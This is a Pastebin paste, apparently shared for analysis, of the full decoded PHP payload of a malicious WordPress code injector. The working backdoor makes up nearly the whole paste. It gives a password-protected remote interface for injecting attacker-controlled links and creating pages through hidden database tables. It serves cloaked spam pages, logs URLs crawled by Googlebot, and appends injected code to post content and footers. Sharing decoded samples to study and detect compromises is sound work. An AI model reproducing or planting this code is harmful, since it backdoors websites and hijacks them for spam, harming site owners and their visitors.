Guest User

Decoded payload for a malicious WordPress code injector

a guest
Mar 4th, 2017
599
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '{$PASSWORD}'))
  4.     {
  5.         switch ($_REQUEST['action'])
  6.             {
  7.                 case 'get_all_links';
  8.                     foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'install_meta` ORDER BY `url` DESC LIMIT 0, 2500', ARRAY_A) as $data)
  9.                         {
  10.                             print '<e><w>'.$data['work'].'</w><url>' . $data['url'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n";
  11.                         }
  12.                 break;
  13.                
  14.                 case 'set_links';
  15.                     if (isset($_REQUEST['data']))
  16.                         {
  17.                             if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'install_meta` SET code = "' . mysql_escape_string($_REQUEST['data']) . '" WHERE code = "" AND `work` = "1" LIMIT 1'))
  18.                                 {
  19.                                     print "true";
  20.                                 }
  21.                         }
  22.                 break;
  23.                
  24.                 case 'set_id_links';
  25.                     if (isset($_REQUEST['data']))
  26.                         {
  27.                             if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'install_meta` SET code = "' . mysql_escape_string($_REQUEST['data']) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"'))
  28.                                 {
  29.                                     print "true";
  30.                                 }
  31.                         }
  32.                 break;
  33.                
  34.                 case 'create_page';
  35.                     if (isset($_REQUEST['remove_page']))
  36.                         {
  37.                             if ($wpdb -> query('DELETE FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"'))
  38.                                 {
  39.                                     print "true";
  40.                                 }
  41.                         }
  42.                     elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content']))
  43.                         {
  44.                             if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))
  45.                                 {
  46.                                     print "true";
  47.                                 }
  48.                         }
  49.                 break;
  50.                
  51.                 default: print "ERROR_WP_ACTION";
  52.             }
  53.            
  54.         die("");
  55.     }
  56.  
  57. $super_url = 'http://' . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"];
  58.    
  59. if ( $wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' )
  60.     {
  61.         $data = $wpdb -> get_row('SELECT * FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"');
  62.         if ($data -> full_content)
  63.             {
  64.                 print stripslashes($data -> content);
  65.             }
  66.         else
  67.             {
  68.                 print '<!DOCTYPE html>';
  69.                 print '<html ';
  70.                 language_attributes();
  71.                 print ' class="no-js">';
  72.                 print '<head>';
  73.                 print '<title>'.stripslashes($data -> title).'</title>';
  74.                 print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />';
  75.                 print '<meta name="Description" content="'.stripslashes($data -> description).'" />';
  76.                 print '<meta name="robots" content="index, follow" />';
  77.                 print '<meta charset="';
  78.                 bloginfo( 'charset' );
  79.                 print '" />';
  80.                 print '<meta name="viewport" content="width=device-width">';
  81.                 print '<link rel="profile" href="http://gmpg.org/xfn/11">';
  82.                 print '<link rel="pingback" href="';
  83.                 bloginfo( 'pingback_url' );
  84.                 print '">';
  85.                 wp_head();
  86.                 print '</head>';
  87.                 print '<body>';
  88.                 print '<div id="content" class="site-content">';
  89.                 print stripslashes($data -> content);
  90.                 get_search_form();
  91.                 get_sidebar();
  92.                 get_footer();
  93.             }
  94.            
  95.         exit;
  96.     }
  97.    
  98. if ( (strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'googlebot') !== FALSE) && ( $wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'install_meta` WHERE `url` = "'.mysql_escape_string( $super_url ).'"') == '0') )
  99.     {
  100.         $wpdb->query(' INSERT INTO `' . $wpdb->prefix . 'install_meta` SET `url` = "'.mysql_escape_string($super_url).'" ');
  101.     }
  102.  
  103. $GLOBALS['WP_URL_CD'] = stripslashes( $wpdb -> get_var('SELECT `code` FROM `' . $wpdb->prefix . 'install_meta` WHERE `url` = "'.mysql_escape_string($super_url).'"') );
  104.  
  105. if ($_SERVER["REQUEST_URI"] != "/")
  106. add_filter('the_content', 'content_updt_theme');
  107. add_action('wp_footer',   'content_updt_footer');
  108.  
  109. function content_updt_theme( $page )
  110.     {
  111.         $page .= $GLOBALS['WP_URL_CD'];
  112.         $GLOBALS['WP_URL_CD'] = '';
  113.         return $page ;
  114.     }
  115.    
  116. function content_updt_footer()
  117.     {
  118.         print $GLOBALS['WP_URL_CD'];
  119.     }
  120.  
  121. ?>
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×